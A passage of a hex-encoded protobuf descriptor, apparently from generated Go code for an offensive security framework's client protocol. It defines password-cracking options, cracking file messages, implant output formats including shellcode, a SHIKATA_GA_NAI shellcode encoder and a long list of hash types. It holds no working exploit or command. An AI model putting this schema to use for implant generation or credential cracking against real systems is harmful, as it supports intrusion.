0x69, 0x70, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x69, 0x6d, - 0x69, 0x74, 0x18, 0x56, 0x20, 0x01, 0x28, 0x04, 0x52, 0x05, 0x4c, 0x69, 0x6d, 0x69, 0x74, 0x12, - 0x1a, 0x0a, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x18, 0x57, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x08, 0x4b, 0x65, 0x79, 0x73, 0x70, 0x61, 0x63, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x52, - 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x5a, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x09, - 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x24, 0x0a, 0x0d, 0x47, 0x65, 0x6e, - 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x18, 0x5b, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x0d, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x12, - 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x46, 0x75, 0x6e, 0x4d, 0x69, 0x6e, 0x18, 0x5c, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, 0x47, 0x65, - 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x69, - 0x6e, 0x12, 0x30, 0x0a, 0x13, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, - 0x65, 0x73, 0x46, 0x75, 0x6e, 0x4d, 0x61, 0x78, 0x18, 0x5d, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x13, - 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, - 0x4d, 0x61, 0x78, 0x12, 0x32, 0x0a, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, - 0x75, 0x6c, 0x65, 0x73, 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x18, 0x5e, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x14, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, - 0x46, 0x75, 0x6e, 0x63, 0x53, 0x65, 0x6c, 0x12, 0x2c, 0x0a, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, - 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, 0x73, 0x53, 0x65, 0x65, 0x64, 0x18, 0x5f, 0x20, 0x01, - 0x28, 0x05, 0x52, 0x11, 0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x74, 0x65, 0x52, 0x75, 0x6c, 0x65, - 0x73, 0x53, 0x65, 0x65, 0x64, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x18, 0x60, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, - 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x31, 0x12, 0x26, 0x0a, - 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x32, 0x18, - 0x61, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, - 0x72, 0x73, 0x65, 0x74, 0x32, 0x12, 0x26, 0x0a, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, - 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x18, 0x62, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, - 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x33, 0x12, 0x26, 0x0a, - 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, 0x72, 0x73, 0x65, 0x74, 0x34, 0x18, - 0x63, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x43, 0x68, 0x61, - 0x72, 0x73, 0x65, 0x74, 0x34, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, - 0x79, 0x18, 0x64, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x66, - 0x79, 0x12, 0x1c, 0x0a, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x18, 0x65, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x09, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x12, - 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x69, 0x6e, 0x18, - 0x66, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, - 0x4d, 0x69, 0x6e, 0x12, 0x22, 0x0a, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, 0x6d, 0x65, 0x6e, 0x74, - 0x4d, 0x61, 0x78, 0x18, 0x67, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x0c, 0x49, 0x6e, 0x63, 0x72, 0x65, - 0x6d, 0x65, 0x6e, 0x74, 0x4d, 0x61, 0x78, 0x12, 0x26, 0x0a, 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, - 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x18, 0x68, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x0e, 0x53, 0x6c, 0x6f, 0x77, 0x43, 0x61, 0x6e, 0x64, 0x69, 0x64, 0x61, 0x74, 0x65, 0x73, 0x12, - 0x20, 0x0a, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x18, 0x69, - 0x20, 0x01, 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, - 0x72, 0x12, 0x2a, 0x0a, 0x10, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, - 0x54, 0x69, 0x6d, 0x65, 0x72, 0x18, 0x6a, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x10, 0x42, 0x72, 0x61, - 0x69, 0x6e, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x54, 0x69, 0x6d, 0x65, 0x72, 0x12, 0x20, 0x0a, - 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x18, 0x6b, 0x20, 0x01, - 0x28, 0x08, 0x52, 0x0b, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x12, - 0x30, 0x0a, 0x13, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, - 0x61, 0x74, 0x75, 0x72, 0x65, 0x73, 0x18, 0x6c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x42, 0x72, - 0x61, 0x69, 0x6e, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x46, 0x65, 0x61, 0x74, 0x75, 0x72, 0x65, - 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x6d, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x48, 0x6f, 0x73, 0x74, 0x12, - 0x1c, 0x0a, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x6e, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x09, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, - 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x6f, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x50, 0x61, 0x73, 0x73, 0x77, - 0x6f, 0x72, 0x64, 0x12, 0x22, 0x0a, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x18, 0x70, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x34, 0x0a, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, - 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, - 0x18, 0x71, 0x20, 0x01, 0x28, 0x09, 0x52, 0x15, 0x42, 0x72, 0x61, 0x69, 0x6e, 0x53, 0x65, 0x73, - 0x73, 0x69, 0x6f, 0x6e, 0x57, 0x68, 0x69, 0x74, 0x65, 0x6c, 0x69, 0x73, 0x74, 0x22, 0x8d, 0x01, - 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x12, 0x1a, 0x0a, - 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, - 0x08, 0x41, 0x75, 0x74, 0x6f, 0x46, 0x69, 0x72, 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, - 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, - 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, - 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, - 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, - 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0x87, 0x01, - 0x0a, 0x0a, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x29, 0x0a, 0x05, - 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x13, 0x2e, 0x63, 0x6c, - 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, - 0x52, 0x05, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x2a, 0x0a, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, - 0x03, 0x52, 0x10, 0x43, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, - 0x61, 0x67, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, 0x73, 0x6b, 0x55, 0x73, - 0x61, 0x67, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4d, 0x61, 0x78, 0x44, 0x69, - 0x73, 0x6b, 0x55, 0x73, 0x61, 0x67, 0x65, 0x22, 0xfb, 0x02, 0x0a, 0x09, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, - 0x41, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, - 0x64, 0x41, 0x74, 0x12, 0x22, 0x0a, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, 0x6f, 0x64, 0x69, 0x66, - 0x69, 0x65, 0x64, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, 0x4c, 0x61, 0x73, 0x74, 0x4d, - 0x6f, 0x64, 0x69, 0x66, 0x69, 0x65, 0x64, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, - 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2a, 0x0a, 0x10, 0x55, - 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x10, 0x55, 0x6e, 0x63, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, - 0x73, 0x65, 0x64, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x19, 0x0a, 0x08, 0x53, 0x68, 0x61, 0x32, 0x5f, - 0x32, 0x35, 0x36, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x53, 0x68, 0x61, 0x32, 0x32, - 0x35, 0x36, 0x12, 0x2b, 0x0a, 0x04, 0x54, 0x79, 0x70, 0x65, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0e, - 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, - 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x54, 0x79, 0x70, 0x65, 0x52, 0x04, 0x54, 0x79, 0x70, 0x65, 0x12, - 0x22, 0x0a, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, 0x65, 0x64, 0x18, - 0x08, 0x20, 0x01, 0x28, 0x08, 0x52, 0x0c, 0x49, 0x73, 0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, - 0x73, 0x65, 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4d, 0x61, 0x78, 0x46, 0x69, 0x6c, - 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, 0x69, - 0x7a, 0x65, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x53, - 0x69, 0x7a, 0x65, 0x12, 0x30, 0x0a, 0x06, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x18, 0x64, 0x20, - 0x03, 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, - 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x52, 0x06, 0x43, - 0x68, 0x75, 0x6e, 0x6b, 0x73, 0x22, 0x64, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, - 0x6c, 0x65, 0x43, 0x68, 0x75, 0x6e, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x72, 0x61, 0x63, 0x6b, - 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x43, 0x72, - 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, 0x65, 0x49, 0x44, 0x12, 0x0c, 0x0a, 0x01, 0x4e, 0x18, 0x03, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x01, 0x4e, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, - 0x09, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x2a, 0x5b, 0x0a, 0x0c, 0x4f, - 0x75, 0x74, 0x70, 0x75, 0x74, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x0e, 0x0a, 0x0a, 0x53, - 0x48, 0x41, 0x52, 0x45, 0x44, 0x5f, 0x4c, 0x49, 0x42, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x53, - 0x48, 0x45, 0x4c, 0x4c, 0x43, 0x4f, 0x44, 0x45, 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x45, 0x58, - 0x45, 0x43, 0x55, 0x54, 0x41, 0x42, 0x4c, 0x45, 0x10, 0x02, 0x12, 0x0b, 0x0a, 0x07, 0x53, 0x45, - 0x52, 0x56, 0x49, 0x43, 0x45, 0x10, 0x03, 0x12, 0x0f, 0x0a, 0x0b, 0x54, 0x48, 0x49, 0x52, 0x44, - 0x5f, 0x50, 0x41, 0x52, 0x54, 0x59, 0x10, 0x04, 0x2a, 0x2d, 0x0a, 0x0d, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x07, 0x0a, 0x03, 0x54, 0x43, 0x50, - 0x10, 0x00, 0x12, 0x08, 0x0a, 0x04, 0x48, 0x54, 0x54, 0x50, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, - 0x48, 0x54, 0x54, 0x50, 0x53, 0x10, 0x02, 0x2a, 0x2d, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x54, - 0x79, 0x70, 0x65, 0x12, 0x0b, 0x0a, 0x07, 0x4e, 0x4f, 0x5f, 0x46, 0x49, 0x4c, 0x45, 0x10, 0x00, - 0x12, 0x0a, 0x0a, 0x06, 0x42, 0x49, 0x4e, 0x41, 0x52, 0x59, 0x10, 0x01, 0x12, 0x08, 0x0a, 0x04, - 0x54, 0x45, 0x58, 0x54, 0x10, 0x02, 0x2a, 0x30, 0x0a, 0x10, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, - 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x08, 0x0a, 0x04, 0x4e, 0x4f, - 0x4e, 0x45, 0x10, 0x00, 0x12, 0x12, 0x0a, 0x0e, 0x53, 0x48, 0x49, 0x4b, 0x41, 0x54, 0x41, 0x5f, - 0x47, 0x41, 0x5f, 0x4e, 0x41, 0x49, 0x10, 0x01, 0x2a, 0x98, 0x13, 0x0a, 0x08, 0x48, 0x61, 0x73, - 0x68, 0x54, 0x79, 0x70, 0x65, 0x12, 0x07, 0x0a, 0x03, 0x4d, 0x44, 0x35, 0x10, 0x00, 0x12, 0x08, - 0x0a, 0x03, 0x4d, 0x44, 0x34, 0x10, 0x84, 0x07, 0x12, 0x08, 0x0a, 0x04, 0x53, 0x48, 0x41, 0x31, - 0x10, 0x64, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, - 0x0a, 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x0a, - 0x12, 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xb0, 0x54, 0x12, - 0x0d, 0x0a, 0x08, 0x53, 0x48, 0x41, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xa4, 0x0d, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x32, 0x34, 0x10, 0x94, 0x87, 0x01, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xf8, 0x87, 0x01, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xdc, 0x88, 0x01, 0x12, 0x0e, - 0x0a, 0x08, 0x53, 0x48, 0x41, 0x33, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xc0, 0x89, 0x01, 0x12, 0x0f, - 0x0a, 0x0a, 0x52, 0x49, 0x50, 0x45, 0x4d, 0x44, 0x5f, 0x31, 0x36, 0x30, 0x10, 0xf0, 0x2e, 0x12, - 0x10, 0x0a, 0x0b, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xd8, - 0x04, 0x12, 0x1a, 0x0a, 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, - 0x31, 0x5f, 0x32, 0x30, 0x31, 0x32, 0x5f, 0x32, 0x35, 0x36, 0x10, 0xb4, 0x5b, 0x12, 0x1a, 0x0a, - 0x15, 0x47, 0x4f, 0x53, 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x32, 0x5f, 0x31, 0x31, 0x5f, 0x32, 0x30, - 0x31, 0x32, 0x5f, 0x35, 0x31, 0x32, 0x10, 0x98, 0x5c, 0x12, 0x14, 0x0a, 0x0f, 0x47, 0x4f, 0x53, - 0x54, 0x5f, 0x52, 0x5f, 0x33, 0x34, 0x5f, 0x31, 0x31, 0x5f, 0x39, 0x34, 0x10, 0xf4, 0x35, 0x12, - 0x09, 0x0a, 0x03, 0x47, 0x50, 0x47, 0x10, 0xf2, 0x84, 0x01, 0x12, 0x0d, 0x0a, 0x08, 0x48, 0x41, - 0x4c, 0x46, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xec, 0x27, 0x12, 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, - 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x32, 0x34, 0x10, 0xa4, 0x8a, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x4b, - 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x88, 0x8b, 0x01, 0x12, 0x10, 0x0a, - 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xec, 0x8b, 0x01, 0x12, - 0x10, 0x0a, 0x0a, 0x4b, 0x45, 0x43, 0x43, 0x41, 0x4b, 0x5f, 0x35, 0x31, 0x32, 0x10, 0xd0, 0x8c, - 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x57, 0x48, 0x49, 0x52, 0x4c, 0x50, 0x4f, 0x4f, 0x4c, 0x10, 0xd4, - 0x2f, 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x49, 0x50, 0x48, 0x41, 0x53, 0x48, 0x10, 0xf4, 0x4e, 0x12, - 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0x46, - 0x12, 0x11, 0x0a, 0x0c, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, - 0x10, 0xaa, 0x01, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x55, 0x54, - 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xbe, 0x0b, 0x12, 0x13, 0x0a, 0x0e, 0x53, 0x48, 0x41, 0x33, - 0x38, 0x34, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, 0xf6, 0x54, 0x12, 0x13, 0x0a, - 0x0e, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x55, 0x54, 0x46, 0x31, 0x36, 0x4c, 0x45, 0x10, - 0xea, 0x0d, 0x12, 0x18, 0x0a, 0x13, 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, - 0x32, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xe2, 0x04, 0x12, 0x18, 0x0a, 0x13, - 0x42, 0x4c, 0x41, 0x4b, 0x45, 0x32, 0x42, 0x5f, 0x35, 0x31, 0x32, 0x5f, 0x53, 0x41, 0x4c, 0x54, - 0x5f, 0x50, 0x57, 0x10, 0xec, 0x04, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, - 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0x0a, 0x12, 0x0f, 0x0a, 0x0b, 0x4d, 0x44, 0x35, 0x5f, 0x53, - 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x10, 0x14, 0x12, 0x15, 0x0a, 0x10, 0x4d, 0x44, 0x35, 0x5f, - 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x50, 0x57, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, - 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, - 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, - 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, - 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, - 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, - 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, - 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, - 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, - 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, - 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, - 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, - 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, - 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 